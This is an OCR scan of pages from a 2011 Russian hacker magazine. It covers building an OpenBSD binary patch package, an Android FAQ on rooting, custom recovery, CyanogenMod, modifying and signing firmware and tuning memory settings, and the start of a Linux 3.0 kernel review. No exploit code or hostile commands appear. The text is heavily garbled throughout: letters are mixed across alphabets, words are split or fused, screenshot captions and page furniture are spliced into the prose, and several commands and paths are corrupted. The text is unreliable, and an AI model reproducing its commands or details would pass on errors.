cd ${WRKSRC } / usr.sbin/ bgpd (${_QI:Jj} ;_$_{_deQend }_;_$_{_build} )._ ______ _

#.J!алее можно поместить инстрУКЦИИ по сбоQке остальных патчей ...

Самое сложное в этом файле-это инструкции сборки, они могут

показаться мудреными, однако написать их очень легко. Достаточно

просто перевести описанные в официальном патче инструкции на

макроопределения. Например, в нашем случае они выглядели так:

cd usr.sЬin/bgpd make obj make depend make make iпsta l l

Сравни их с директивами в Makefile, и всё поймешь. За дополни­тельными подробностямиобращайсяк примеру, описанному в файле

Makefile.sample. Теперь можно собрать пакет с нужным патчем:

# cd /usr/Ьinpatc h ng-1.1/

# make РАТСН="881" build # make РАТСН="881" pl ist # make РАТСН="881" package

Пакетс результатом должен появиться в катал оге patches, е го следует

скопировать на нужную маш ину и установить с помощьютакой команды:

# pkg_add Ьinpatch -4.9-i386-881.tgz:X:

Kspllce-uptгack

L То lnst1ll thls package, you need to 1uthentlotl· ..:!8 Alltpptk.ttlonlsttttmr>tJI'IIItoperrormtnt(tJon 1~---'---"

tNtrtqulr"prMI~. Aut~tt•onk requlr~topel'formthlstct/01\

Pt,sword: c=========:J

"''"" I\J1111Ing ~olhtr Unux dlstributlon?

Устанавл иваем клиент Kspl ice

ХАКЕР 10/153/2011

Page 115: Хакер №10 (октябрь 2011)

UNIXOID

Тотальное подчинение MEGAFAQ ПО ХАКУ И МОДИФИКАЦИИ ANDROID OS

утинг, рекавери, мод, сайаноген .. За

каких-то два года вокруг Andгoi d 'a сфор­

мировалосьсплоченноеиневероятно

актив н ое сообщество хакеров и nрограммистов,

которые п ридумали свой собстве нный язык,

огромноеколич естворазличны ххаков,модови

альтернативных nрошивок, ориентироваться в

которых н е п одготовленн ому пользователю весь­

ма не пр осто. Н о эта ст атья поможеттебе найт и

nравил ь ную дорогу.

В этом FAQ я попыта л ся ответить на самые

важные и ин тересные воп росы , которые могут

возникнуть перед ч еловеком, который собирается

всерьез взяться за изучениеАпdгоid'а. Прочита в

эту статью, ты узнаешь, п очему получение прав гооt

так важнодля пользователей Andгoid'a, как п олу­

ч итьэти права, зачем нуже н кастомный рековери

и что он дает, какие существуютальтернативные

модификации Andгoid'a и какая из них луч ше, узна ­

е шь, как сделатьсвою собственную nрошивку.

ANDROID

БЕЗОПАСЕН?

n Andгoid гора здо безопаснее многихдругих

~ мобильныхоперационныхсистем. Существуеттри основных механизма, которые

защищаютАпdгоid от вредоносны х приложений:

1. Виртуальная машина.Аndгоid-nриложения

могут получитьдо ступ к оборудованию устрой ­

ства только с помощью прослое к, реализо­

ванных виртуальной машиной. Это значит, что

всеобращенияприложенийкоnерационной

системе, устройствам и работа с памятью четко

контролируются виртуальной машиной и лю­

бые зло намеренны е дей ствия могутбыть пре­

сечены . Например, срыв стека в приложе ния х,

наnиса нных н а Jаv~ невозможенвпринципе .

2. Права доступа. Andгoid использует

стан дартный L in u х- механизм уп равления

правами дост упа для изолирования данны х

приложений друг от дру га . Для каждой

устанавливаемой программ ы система

создает но вого пользователя и группу

118

-21· -l.H

-a.J · ~~ -1..1 •

Статистика распространения версий Andгoid'a по устрой­ствам !по состоянию на 5 июля)

la pp_1, арр_2, а рр_З и т. д .l и устанавливает

umask этого п ользователя в з нач е ни е 0026

lu=гwx,g=гx,o=xl. Е с л и зло в редное прило­

жение попыта ется прочита т ь данные других

приложений, оно получит о ши бку доступа.

3. Механизм сообщений.Аnd го id -приложения

не имеют досту n а дру г к другу, за исключе ни­

ем возмож ности посылк и сообще ни й, формат

которых строго определен, а сама п ересылка

ко нтролируется насистемномуровне. Благо ­

даряэтомузловредн ое приложениенеможет

каким-либо образом повлиять на остальные

исполняемыеnриложения.

Также стои т отметить, чтолюбая Аnd гоid ­

пр ограмма должна иметь ма нифе ст, который опи ­

сываетвсе системные действия , которые может

совершать приложение. Во время установки па­

кета Andгoid сообщает пользователю список этих

действ ий , внимательно изучив который, можно

выяснить, с п особноли приложе ние н а н ести вр ед

с и стемеили унестиконфиденциальныеданные

!в се зловредные программы для Andгoid'a основа­

ны н а то м, что пользователь просто проnускаетэтот

список мимо гл аз ! .

ЗАЧЕМ РУТИТЬ

СВОЙСМАРТ?

Чтобы получит ь контроль над устройством .

Rooting- это процесс полу ч ения прав гооt

на девай се со всеми вытекающими отсюда

преимуществ а ми. Чтобы за щитить продукт от

Евгений Зобнин lexecЬit.гu l

кри воруких ш кольнико в , производители

смартфоновблокируют учетнуюзапись

пользователя гооt, одн ако с nомощью различных

экс пл оитов , действующи х против ядра Lin ux, или

дыр, оставленных nроизводителем телефона,

владелец может п ов ысить свои привилегии в

системе, залить на устройство бинарник su и

использовать его для получения прав админа

! з в учи т ди ко , но чтобы п олучить гооt-nрава на

T-MoЬile G1, достаточно было п одключиться к

те л ефону с помощью te lnetl. При этом следует

различать постоя нный гооt !ко гда н а устройство

заливается sul и време нный , n о л у ч енн ый с

по мощью эксплоитов. Некоторы е nрои зводители

IMotoгola, привет!! ос нащают свои с ма рты

за щитой NАND-памяти, используемойдля

хранения о пера ци о нной системы,такчто

смо нтировать ее в р ежиме записи и получить

по с тоянный гооt н е уда стся lк с л о ву, эту за щиту

уже дав н о н аучилисьобходит~ .

Рутава нны й телефон ста новится гораздо

болееудобным для nродв инутых пользователей .

Появляется возможность модифи цировать опера­

ционную систему, удалять и добавлятьсистемные

приложения, устанавливать busybox, управлять

брандмауэром, уста навливатьсофт, требующий

п одде ржки прав гооt !например, про грамму для

снятия скриншото~.атакжезаливатьна устрой ­

ство любые прошивки. Для каждого устрой ства

процессполученияправгооtиндивидуален,

Примернотак выглядит «nироп> Andгoid'a изнутри

ХАКЕР 1 О /153/2011

Page 116: Хакер №10 (октябрь 2011)

однако существует несколькоуниверсальных

инструментов, которые используютизвестные

Liпuх-дыры для получения постоянного гооt'а н а

многих устройствах. Из примеров можно привести

5u peг0neCiick [goo.gi/HibN), реализованный в виде

десктопного приложен ия, и z4гoot [goo.gi/Bv7tx ),

работающий прямо вдпdгоid'е.

КАКИЕ БЫВАЮТ

АЛЬТЕРНАТИВНЫЕ ПРОШИВКИ?

Альтернативных про шивок существует

огромное количество, однако 95 % из них

полнейшаяерунда,сделаннаязадесятьминутна

коленке:людиn ростоберут стандартную

nрошивку, удаляют nарочку встроен ных приложе­

ний , добавляют nару-тройку сторонних, заливают

красивую обои ну и выпускают зто n од именем

<<супер-мега-nрошивки от Васи Пуnки на». Н а зто

барахлодаженестоиттратитьсвоевремя.Есть

nарни посерьезнее, которые берут исходник и

ванильного Andгoid'a от Google и делают

собственную сбор.ку н а их основе . В большинстве

случаевконечной цельютаких nрошивок

является а пгрейд версии ОС, nредустанавливае­

мойnроизводителемустройства.Наконе~

высший пилотаж-это nортирование развивае­

мого сообществом фор ка Andгoid'a n од названием

CyanogenMod [www.cyanogenmod.com ). Если для

твоегоустройства есть сборка этого чуда-сове­

тую ставить именно е го.

В ЧЕМ ОТЛИЧИЕ CYANOG ENMOD 'A

ОТВАНИЛЬНОГОАNОRОIО'Д?

CyangenMod разрабатывается сообще­

ством, а зто з начит, что в н е го добавляются

нетолькоте изменения, которыесчитает

полезными Google, но и всё, что можеттак или

иначепри годиться nользователям,ивособе н­

ности гикам и nрограммиста м. Прошивка

включает в себя множество самых разных

о nтимизаций кода, которые nоте м или иным

nричинам были отвергнуты Google. Имеется

расширенное меню настроек, nозволяющее

болеетонкоуnравлять конфигурациейсистемы

[на nрим е р включить/выключить JIT, изменить

цвет статус ной строки , ее положение и содержи­

мое,настроитьзкра н блокировки,nовеситьна

хардвар ные кноп ки альтернатив ны е действия,

тонкоуnравлятьзвуковыми си гналами и многое

другое). В прош ивке есть механизм nринудитель­

ного о граничения nр и л ожений в возможностях

[наnример, можно за nретит ь и гр е выход в

интернет для nоказа рекламы), возможность

принудительной установки всех приложений на

50-карту, меха ни зм уnравления темами

оформления, разработанный T-MoЬile, есть

встроенный фонарик , исnользующий вспышку

каме ры , nрограммный зквалайзер, написанное с

нуля FМ- радио [для устройств с F М-nриемником ) ,

в выезжающую из статус н ой строки nа н ель

встроенинтерфейсуnравления с возможностями

устройства [включение/выключение Wi-Fi,

Bluetooth, ЗG и т. д.) . Имеется предустановленный

busybox и 55Н -сер в ер, а также на бор n ерво ­

классных обоев. В nоследнее время CyanogenMod

обрел nросто феноменальную nоnулярность,

nочти каждый месяц nоявляются n орты н а новые

устро йства [www.cyanogen mod.com/devices).

Также есть большое количество эксnеримен­

тальных nортов, еще не одобренных командой

CyanogenM od. Их можн о найти в соответствую­

щих разделах на xda-developeгs.com .

КАКПРОШИТЬ

ТЕЛЕФОН?

lr,8 Ответ на этот воnрос зависит оттого, какую

181 nрошивкуты собираеш ься накатывать на телефон .Для обновления официальной nрошивки

отп роизводителяобычноиспользуютсясnециали­

зированные n рограммы, работающиетолько в

Windows. Каждыйуважающий себя nроизводитель

устройствимеет собственную версиютакой

программы, собственный форматnрошивок и

собственный механизм безоnасности, не

позволяющий заливать нателефон сторонние

прошивки [обыч н о для этого ис nользуется

проверкасертификата безоnасности) .

Тотальноеподчинение

Для заливки nрошивок, созданных людьми,

не имеющи ми отно шения к nроизводителю

[наnример того же Cya noge nM od), исnользуется

более универсальны й nодход. В этом случае те ­

лефон сл едует за рутить , установить н а него <<ка ­

стом ный рекавери » [например, с помощью ROM

Manageг'a из Маркета или в nроцессе рутинга с

n омощью 5upeгOneCiick), скинуть н а 50 -ка рту

ziр -архив с nрошивкой, зайти в рекавери одним

из оnисанных в следующем воnросе способов и ,

исnользуя меню << Fia sh zip f гom sdcaгd», уста н о­

вить ziр-архив в систему.

ЧТОТАКОЕ

<<КАСТОМНЫЙ РЕКАВЕРИ >>?

n Л юбое устройство н а Andгoid'e [и не только)

181 имеетнебольшойразделнавнутренней NАNО-nамяти, который содержит образ так

называемого Recoveгy- минималистичной ОС,

предназначеннойдля восстановления/

обновления nрошивки девай са в случае ее

nорчи/устаревания, а также для выnолнения

ряда других сер ви сных задач, таких как сброс до

заводских настроек [вайn). Recoveгy не зависит

от основной ОС, установленной на аnпарате,

n оэтому для входа в нее обычно исnользуется

метод выключения и включения а nпарат а с

зажатой клавиш ей уменьшения громкости [в

некоторыхдевайсахисnользуетсядругой

способ ). Далее н а экране n оявляется меню, для

навигации по которому исnользуются клавиши

громкости [вверх, вниз) и включения [ E nteг) .

Кастомный рекавери-это модификация

стандартного Recoveгyc гораздо большим набором

функций . Обычнотакой рекавери nредлагаеттакие

фун кции , какустановка любых nро шивок без n ро­

веркицифровых nодписей [основное назначение),

nолный бэкап существующей nрошивки [nandгo id

Ьасkuр)иеговосстановлени~изменениесистем­

ных настроекдndгоid'а , nодготовка карты nамяти

для nереноса nриложений или создания swар­

раздела , n еремонтирование систем ных разделов в

режиме чтения/заnиси и многое другое. Наиболее

поnулярный и развитый кастомный рекавери на

НЕПРОСТОЙ ВЫБОР РАБОЧЕГО СТОЛА

ХАКЕР 10 / 153/2011

Выбирать между альтер нативными рабочими столами, n редставлен ным и в Andгo id Maгket'e,

в больш инстве случаев бессмысленно . Почти все они основа ны на стандартном Launcheг'e,

разработанном Google, и не nредставляют ничего нового, кроме кучи различных и в большинстве

случаев бес n ол езных обвесок, мешающих работе. Из всего это го многообразия достой ны внимания

раз в е что LauncheгPгo и Zeam .

С другой стороны , в Andгoid Maгket'e есть несколько действительно <<других>> рабочих столов, которые

стоит установить хотя бы для разнообразия. Во-первых, это La u ncheг7, оче н ь хорошо имитирующий

рабочий стол Windows Phone 7, многие из тех, кто установил его << на посмотреть>>, исnользуют его

ежедневно . Во-вторых, это рабочий стол nод названием 51ide5cгeen [рекомендую с качать бесплатную

Ьеtа-версию отсюда: getsatisfaction.com/laгvalabs ), который вместо иконок и виджетов выводит на экран

различную nолезную информацию [nогоду, nоследние 5М5-сообщения, звонки, nисьма, R55-новости,

сообщения в твиттере , Facebook 'e и т. д . ) в виде удобного разворачиваемого сnиска . Просто обязателен

для пробы, однако не совсем nригоден для ежедневного использования из-за с воей инородности.

Также советую посмотреть в сто рону Simple Home, вобравшего в себя многие из идей Windows Phone 7, и

5рагk'а , nредставляющего собой нечто среднее между обыч н ым рабочим столом Andгoid'a и 51ide5cгeen.

119

Page 117: Хакер №10 (октябрь 2011)

UNIXOID

:: ·•i 100 ! 16:40 ~-----~-----~-~----- ·------ - ~-:--------,-~."..~-"""'.'' ,-_,..,--,-.,-_,.-.---,--,,,,..,_-:-- .. ~-~--;:ё

наСТройки

~ Беспроводные сети

~ Вызовы

® Настройки CyanogenMod

lf•> Звук

J. Профили

с Экран

t• • Местоположение и защt :::

~ Приложения

В настройках прошивки CyanogenMod есть пункт для управления расширенными настройками

се годняшн ий день-это ClockwoгkMod гесоvегу,

созданный Koush ik Dutta [Koushl .

КАКСДЕЛАТЬ

СВОЮ ПРОШИВКУ?

n Естьдва с п особа. П ервый и самый

181 трудный: с качать и сходни кипоследн ей версии Andгoid'a и попробовать собрать ОС так,

чтобы она корректно работала на Linux-ядpe,

прошитом в устройстве [будет круто, если удастся

раздо быть исходни киядра и нужных модулей, но

производителизатягиваютспроцессом

отк рытия кода до по с л едн е го!. Это потр ебует

глубоких з наний н е только в области Andгoid 'a, но

и во встраиваемых системах. Н о можно пойти и п о

гораздо болеепростому п ути :модифи циро вать

существующую п ро ш ивку.

Как уже б ыло сказа но выше, подавляющее

больши нство «авторских>> п рошинок дл я Аndгоid­

смартфонов-это модифика ции дру ги х про­

шинок, наприм ер с токо в ой, то есть установленной

нателефонnоумолч анию,либочужойсборки

Andгoid'a для данно го аппарата. Связано это с тем,

что <<МОД >>, в отличи е от самосбор ной прошивки,

оченьлегко сделать. П о сути , всё, что для этого

требуется сделать , это прос то распаковать а рхив с

прошив кой , произвести необходимые изменения

[заменить/добав ить файлы, отредактировать

конфигиl . за паковать архив и п одписать е го . П о­

ша го во этотпроцесс выглядиттак:

Получаем архив с нужной прошивкой:

.$_!\lget.J:Lttp,Дa. p,J;L!JJ1-d.<Jte. zip_ __ ·---·--·

120

1' USВ-подключение Выберите для управления подключением US

Воттакие кнопки есть в выпадающей па н ели CyaпogenMod

Распаковываем его:

$ mkdir myrom

$ cd myrom

$ unzip . . / update.zip

В катал о ге п оявится два п одкаталога и

файл boot.img. Ката л ог META-IN F содержит

мета-инфо р ма ци ю об обновлении, такую как

его создате л ь, цифровые сертификаты и скри пт

об н овле ни я М ЕТА-1 N F/com/google/and гoid /

updateг-scгipt, который п одготавливает ка­

талоговую с труктуру, уда л яет с т ар ы е файлы ,

информирует Recoveгy о прогр ессе обновления .

Файл boot .im g -это ядро Linu x и загрузоч ны й

гаm-диск , их можно извлечь с п омощью ск рипта

split_ bootimg .pl [goo.gi / QejM91. Наконец, катало г

system - самая интересная и полезная часть

а рхива с nрошивкой. Это не что иное, как со­

держимое одн оиме нн огосистемно гора здела

Andгoi d'a , в котором н аходятс я компоненты са­

мой ОС. Здес ь есть каталог а рр , содержа щи й все

системные приложения [можноудалитьте, кото­

ры е не нравятся , и пол ожить н овые ! , Ьin и x Ьin со­

д е ржат различные Liп uх-кома нды [в xЬin можно

ра с пако вать с вежий busybox l. etc - н астройки

разли чны х системн ы х дем о нов , fonts- шриф­

ты , fгamewoгk- системн ы е Jаvа-библиотеки,

файл fгam ewoгk-гes.apk содержит стандартны е

ресурсы системы и пр и л ожений, его можно ис­

пользоват ь для изменения с тандартны х иконок,

цв ето в [н а xda-deve l opeгs.com л ежит много вер­

сий этого файла с различными кастомизациями l ,

В настройках прошивки СуапоgепМоd есть пункт для управления расширенными настройками

lib- Liпu х-библиотеки [ здесь л учше н иче го не

трогать!, media- ра зличны е мультимедийные

данные, например bootanomat i on.zip-apx ив,

содержащи й а нимаци ю, демонстрируемую при

за грузке ус тройства, здесь же есть каталог aud io

с рингтонам и , звуками о n овеще н ия и т. n. [в сё в

открытом формате Ogg VoгЬis, кстати!. Катало г

usг может содержать в сё ч то у годн о, обычно в

не го п о падают файлы различных Liпuх -демоно в

и приложений. Файл build.pгop о п исывает п ро­

шивкуизадаетн екоторыесистем ны е на стройки .

Послетого как модификация прошинки

будет завершена, можно запаковать файлы

обратно в архив:

$ zip -r myupdate .zip *

Архив следует подписать, иначе Recoveгy не

сможет его установить . Делается это с помощью

утилиты testsign.jaг:

$ wget http: //goo.gl/OyBBk

$ java -classpath testsign.jar testsign \

myupdate.zip myupdate-sign. zip

Заливаем подписанный архив на SD-карту

и устанавливаем с помощью Recoveгy.

КАК РАЗОГНАТЬ ПРОЦЕССОР

УСТРОЙСТВА?

Очень просто-за рутитьтелефон и

устан овить н а него приложение SetCPU,

ХАКЕР 10/153/2011

Page 118: Хакер №10 (октябрь 2011)

·11 100 1 16:42 . . . . . ВJ Googlc i "' i ~ ~

~ 11 Do l ph1п t Gesturc s-,

~ ~ 111 о -SMS/MMS Контакты Маркет Часы

~ ,. -Ct0 •• (.;6

Рабоч ие столы Android'a !слева напра во) : ADW.Launcher, Launcher7, Simple Home, SlideScreen

доступное в Маркете . Программа позволяетзадать

верхнее и нижнее пороговые значения для

механизма управления мощностью процессора, а

также выбратьодин из нескольких профилей:

максимальнуюпроизводительност~сохранение

батареи , минимальную производительность и т. д .

Функция управления настройками произво­

дительности процессара есть и в СуапоgепМоd:

<< Настройки 7 Настройки СуапоgепМоd'а 7 Про­изводительность 7 Настройки ЦП >>. Работает

она потомуже принципу, что и SetCPU. Также в

меню << Производительность» можно включить/

выключить JIТ- компиля цию, запретить выгрузку

рабочего стола из памяти !очень поле з но для

устройств с малым объемом RAMI и изменить

размер VM heap, что в тео рии может привести к

ускорению работы прожорливы х до памяти при­

ложенийlвэтомслучаеследуетвыбратьболее

высокоезначениеlли боосвободитьпобольше

оперативки lменьшеезначениеl . Эти настройки

можно изменить и с помощью стороннего гооt­

софта , такого как Jitteг и VM Не ар Tool.

ПОЧЕМУ

TASK KILLER-ЗЛO?

n Task Killeг не зло, а глупость. В большинстве

lil своем люди используют его не для получениякакойбытонибыловыгодь~апростоот

н еспособности п ерестроить свое мышление на

новыйстильуправлениязапущеннымиприложе­

ниями . Инженеры , проектировавшие Aпdгoid,

сделалиприложениянеубиваемыминепросто

ХАКЕР 10 / 153/2011

так, они отлично понимали, что в условиях

постоянного роста объемов памяти в мобильных

устройствахлучшийспособ использовать ее

свободное пространство это поместить туда

наиболее часто вызываемые приложения. В

результате получился механизм, который

оставляет все запущенные приложения висеть в

памяти до тех пор, пока ее не станет действитель­

но мало. В зто м случае просыпается встроенный в

ядро <<уборщик», который вытесняет и з памяти

наиболее редко используемые приложения .

Таким образом пользователь получаетсразу две

вкусности: отсутствие необходимости закрывать

приложения самостоятельно и оче нь быстрый

доступ к часто используемым программам.

Основная проблема этого подхода заключа­

ется тольковтом,чтостандартныенастройки

механизма выгрузки приложений из памяти

чересчурдемократичны .Памятьосвобождается

только в том случае, если ее ста новится действи­

тельно малодля за грузки нового приложения ,

поэтому во время запуска некоторых приложений

могут наблюдаться небольшие притормажива­

ния, вызванные работой уборщика. К счастью,

уборщик обладает интерфейсом управления,

с помощью которого его можно сделать более

агрессивным. Для этого имеется файл /sys/

module/lowmemoгykilleг/paгameteгs, в который

записывается шесть значений, управляющих

поведением механизма lowmemoгykilleг:

echo "2568,4896,6144,12288,14336,18432" > /sys/ module/lowmemorykiller/parameters/miпfree

Тотальноеподчинение

Можно создать соответствующий скрипт в

кaтaлoгe /syste m/etc/iпit . d, но имей в виду, что сценарии из катало га /system/etc/iпit. d отраба­

тываются только в кастомных прошивка х, да и то

не во всех. Возможно , ск рипт придется запускать

вручную после каждой загрузки ОС.

Хорошим дополнени ем к изменению настроек

уборщика будет расчистка с писка запускаемых

во время старта ОС приложений. Во время за груз­

ки Aпdroid за пускает кучу <<часто используемых»

софтин, многие из которых могуттебе никогда и

не по надобиться, но тем не менее будут занимать

память . Это, кстати, такие софтины, как голосо­

вой набор, Bluetooth, календарь, почта !не Gmail,

а простая почто вая программаl, часы !те, через

которые настраивается будильник! . Удалить всё

это из автоза пуска можно с помощью специали­

зированного софта, например Startup Cleaпer

!бесплатно в Маркете!.

ЧТОТАКОЕ

ADB?

n ADB-зтoдпdroid Debug Bridge, интер- ·

181 фей с низкоуровневой отладки и управле­ния Апdгоid-устройством , который позволяет

удаленно отлаживать приложения, устанавли­

вать и удалять их, манипулировать файлами,

выполнять команды, пр осматриватьсистемный

журнал и делать множество других полезных

вещей. Эта штука была подробно описана в

статье << Большой брат и зеленый робот >>

1][_09 _2 0111, так что не будем повторяться. :::1:

121

Page 119: Хакер №10 (октябрь 2011)

UNIXOID Юрий«Аdерt»Видинеев (adeptglagmail.coml

Туке поколения

Тuх-энаменитый символ Linux'a

LINUX KERNEL 3.0: ОБЗОР САМЫХ ВАЖНЫХ НОВОВВЕДЕНИЙ В этом году Linux отпразднует свое 20-летие. В связи с юбилеем вместо новой версии за номе­

ром 2.6.40 вышла версия 3.0. В общем, хороший повод, чтобы оглянуться назад и вспомнить,

какие плюшки нам принесла ветка 2.6.

122

ЧТО В ИМЕНИ ТЕБЕ МОЕМ ? О возможности сме ны способа нумера ции релизов Linu x'a говорили

уже давно. Были варианты как-то привя зат ься к дате релиза [на­

пример 2011 .4.0), но в конце концов решено было оставить старый

вариант. Только вместо версии 2.6.40 сделать версию 3.0, корректи­

рующим релизам оставив третью цифру [т. е. первым таким релизом

стал 3.0.1 ). В дальнейшем первая цифра будет меняться либо в с лучае

внесения каких-то кардинальных изменений, либо раз в 40 минорных

версий. Число 40 выбрано таким образом , чтобы на выпуск такого

количества версий уходило примерно десять лет.

Сам по себе ре л из 3.0 не несет в себе ничего примечательного и мог

бы с покойно стать очередным релизом в ветке 2.6. Среди основных

нововведений:

Система виртуализации Xen была окончательно интегрирована в

ванильное ядро.

• Увеличе на скорость работы Btrfs'a, в частности за счет реализации

автоматической дефрагментации . Другие ФС тоже не забыты: ext4

обзавелась за щитой от множественного монтирования, в OCF52

быладобавлена поддержка кома нды TRIM [увеличивающей время

жизни 550). CIF5 научили монтировать Windows 2008 DF5 [р ас пре­деленная ФС).

Серьезно увеличена скорость фильтрации па кетов с помощью

инструментов типа tcpdump. Больше всего это будет заметно на

64-битных системах .

Поддержка функции «Wake оп WLAN>>. Полный аналог <<Wake оп

LAN >>, только с использованием беспроводного адаптера.

• Теперьдля отправки/приема IСМР-пакетов н е нужны привилегии

root. Больше никаки х 5UID на /Ьin/pi ng .

Добавлен новы й тип кеш а- Cleancache, в котором хранятся дан­

ные, которые не страшно nотерять [могут быть легко восстанов­

лены из другого источника).

ХАКЕР 10/153/2011

Page 120: Хакер №10 (октябрь 2011)

Туке поколения 3.0

Userspace lock contention 4,9 ms з , 7%

37,5 Waiting for event {poll)

5,0

5,0

8 gnome-settings- 5,0

8 bamfdaemon 5,0

8 gnome-screensav 5,0

8 skype 5,0

8 latencytop 5,0

8 unity-window-de 5,0

8 notify-osd 5,0 Backtrace 8 npviewer.bln 4,9 futex_wait_queue_me

firefox-bln 4,9 futex_wait 8 wpa_supplicant 4,9 do_futex

Очередной инетрументот lntel 'a для разработчиков

До бавлены драйвера для многих новых устройств: Microsoft

Kinect, проце сса ров lntel с л едующе го п околения ll vy Br idg el и

новы х процессорав со встроенной графикой AMD Fusion .

4,9ms

Практически с разу по сле релиза выш ел набор п атчей для новой

версии в гt-ветке IRealtimel ядра, превращающий Linux в ОС реального

времени. Предыдущая версия патчей базировалась на версии 2.6 .33.

Новая версия была сильно доработана и те п ер ь затрагивает почти в

два раза меньше файлов 1374 п ротив 6901, что позволяет надеяться на

слияние веток в обозримом будущем.

Прим ечательно , что в с пи ске фирм, внесших больше всех из­

менений в 3.0, на пятом месте со с ч етом в 361 коммит оказалась .. .

Microsoft. Все эти коммиты связаны с поддержкой собственн ой

те х нологии виртуализации Hyper-V. Кстати, это не единственная

неожиданная ново ст ь на тему <<Mic ro so ft и Linux>>. В ч ест ь вышеупо­

мянутого юбилея бы л устроен конкурс на лучший видеоролик про

Linux, в котором приняла участие Microsoft, представив свой рол,ик

на тему непрерывно меняющихся в л уч ш ую сторо н у взаимоот н,о ше­

ний Microsoft и Linux.

ВИРТУАЛИЗАЦИЯ Можно с у веренностью сказать , что в IТ-мире последние лет семь

прошли под флагом виртуализации. П ервая серьезная система вир­

туализации, появившая с я в ванильном ядре,- KVM IKerпel - based

Virtual Machiпe, Liпu x 2.6.201. Более старая lи пока более поп уля рная!

система виртуализации Xen полн остью интегрировалась в ядро толь­

ко к 3.0. Обе эти системы поддерживаюттакже еще и паравиртуали­

зацию !дающую ощутимо меньший оверхедl. но KVM в любом случ ае

нужен CPU с п оддержкой аппа ратн ой виртуализации.

Чтобы Linu x нормально !стабильно и быстро! работал как гостевая

ОС в виртуальных окружениях, ему нужны с пециальные драйвера.

Сейчас о ни есть, кроме KVM и Xen, также для VMWare и MS Hyper-V.

В ядротакже включен гипервизор lguest. В отличие от KVM для

работы ему не нужна поддержка оборудованием аппаратной виртуали­

зации. В отличие отХеп им очень простоуправлять . В отличие от обоих

о н содерж итвсего около 5000 строк кода. В общем-тодля серье зного

использования он не предназначе н: целью его создания было написа­

ние очень простого гипервизора-примера реализации.

Со временем в ядре появляется всё больше вспомогательных

технологий, связанных с виртуализацией. Одна из таки х- менеджер

памяти KSM IKernel Samepage Mergingl, который прочесывает память

ХАКЕР 10 /153/2011

3,2%

[ Freeze J ( Refresh J Refresh in 14 s

на идентичные куски и объединя ет их . Особенно эффективен он в слу­

чае , если за п ущено н есколько идентичных виртуальны х машин.

Наименее накладная виртуализация- на уровне ОС , когда вир ­

туальные машины как тако вые не используются, а просто создается

окружение с собственным про странством ресурсов и процессов .

Самая известная подобная система под Linux- OpenVZ, но она не

входит в ванильное ядро. В ядре есть аналог- LXC, который опира­

ется на с тандартные механизмы: namespaces !когда каждый процесс

может видеть свое отдельное представление о файловой системе,

запущенных процессах, сетевы х настройках и др .l и Coпtrol Group

!для у правления ресурсами! .

БОЛЬШИЕ КОМПЬЮТЕРЫ Виртуализацияпозволяетзапуститьнескольких ОСнаодномкомпью­

тер е. Внекотором смысле противоположная задача-запуск одной

какой-то задачи на группе серверов !кластере!. В ядро 2.6 добавлено

много чего полезного в поддержку кластеров и вообще больших нагру­

женных систем , убрано несколькодосадных ограничений :

Максимальное количество процессаров в SМР-системе увеличе­

но ДО 4096.

Максимальное количество групп, в которых может на ходиться

пользователь, увеличе но с 32 до 65 536 .

Убрано ограничение на пять симли нков в цепочке .

Серьезные кла с теры, как прави ло , mission critical , и чем реже они

останавливаются или перезагружаются, тем лучше. Одна из техноло­

гий , по з воляющая снизить число выключений,- CPU и ОЗУ hotplug,

п оддержка которых появилась в Linu x'e 2.6.

В больших системах, как правило, много-много процессорав

lядерl. поэтому надо, чтобы ОС масштабировалась как можно лучше . Для этого в течение все го 2.6 избавлялись оттак называемого Big

Kernel Lосk-тех н ологии , которая появилась в Linu x'e 2.0 и позволя­

ла работать на SМР-системах, но устарела и на многопроцессорных

системах приводила к п адению производительности . К теме мас­

штабируемости также относятся те х нологии Receive Packet Steering

IRPSI и Recei ve FlowSteeriпg IRFSI, позволяющие распараллепивать нагрузку по обработке трафика на все CPU .

Кстати, про ядра: появилась еще поддержка процессо рав с архи­

тектурой Til e, имеющих от 32-х до нескольких сотен ядер.

Сервернемыслим без RAID'a . В этой области 2 . 6тоже принес не­

сколько ул уч ш е ний :

123

Page 121: Хакер №10 (октябрь 2011)

UNIXOID

16000000

• 1~000000

12000000

10000000

8000000

6000000

~000000

2000000

о•--~~~~~--------------------------

0.1 1.0 1.2 2.0 2.2 2.~ 2.6

Количество строк кода в ядре растет невероятными темпами

Реализация RА106[когда из массива выделяются два диска под

контрольные суммы).

Поддержка <<RAID5 гeshapiпg>>- добавление дополнительных

ди сков в массив без необходимости перестроения.

Возможность преобразования RAI01 в RAI05, RAI04 в RAI05,

RAI05 в RA I0 6[и обратно) .

3.0

Добавлено несколько новых кластерных ФС. Если в двух словах,

то кластерные файловые системы нужны для корректной работы не­

скольких серверов-над с общим внешним хранилищем [доступным,

например, по i5C51 или АоЕ).

Oracle Cluster Filesystem (OCFS2)- изначально разработанная и оптимизированная для своих СУБД компанией Огасlе.

Global File System (GFS2)- вариант, поддерживаемый RedHat'oм.

Распределенные ФС, в отличи е от кластерных, используют дис­

ковые ресурсы своих серверов-над. Обе ФС находятся в пр о цессе

активной разработки [ п омечены как экс п ериментальные), но заслу­

живаютупоминания о себе:

POHMELFS (Parallel Optimized Host Message Exchange Layered File System) является разработкой нашего соотечественника [о чем, собственно, нетрудно догадаться , исходя из названия) и позицио­

нируется как распределенная и более быстрая замена NF5.

Ceph - обрабатывающая петабайты данных, обладающая высо­

кой отказоустойчивостью [обеспеченной хранением каждого файла

на нескольких узлах) и легко расширяемая [достаточно просто

добавить новый хает, и данные будут перераспределены с учетом

появления новой н оды).

Еще одна вещь, по явив шая ся в 2.6 и касающаяся устройств хра­

нения данных,- ORBO, с помощью которой можно синхро ни зи ровать

по сети два блочных устройства [по сути, сетевой RAI01 ).

Другие нововведения:

Файловая система exofs, предоставляющая доступ к 050-нако­

пителям IObject 5toгage Oevices). В отличие от обычных накопителей

минимальным объектом является не блок данных, а сразу объект,

содержащий нужный файл. Такие накопители еще не получили

большого распространения, но, возможно, за ними будущее.

Библиотека libata была серьезно переписана-теперь поддер­

живает NCQ и hotplug.

Поддержка технологии lпfiпiBaпd, часто используемой для связи

узлов кластера и протокола R05 IReliaЫe Oatagгam 5ockets),

предназначенного для высокоскоростного обмена сообщениями

междуузлам и. Все эти улучш ения принесли свои плоды- в рей­

ти нг е ТОП-500 суперкомпьютеров мира вотуже продолжительное

время более 90% из ни х работают п од управлением Liпux'a.

МАЛЕНЬКИЕКОМПЬЮТЕРЫ На рынке desktop-cиcтeм с процессорной архитектурой всё ясно­

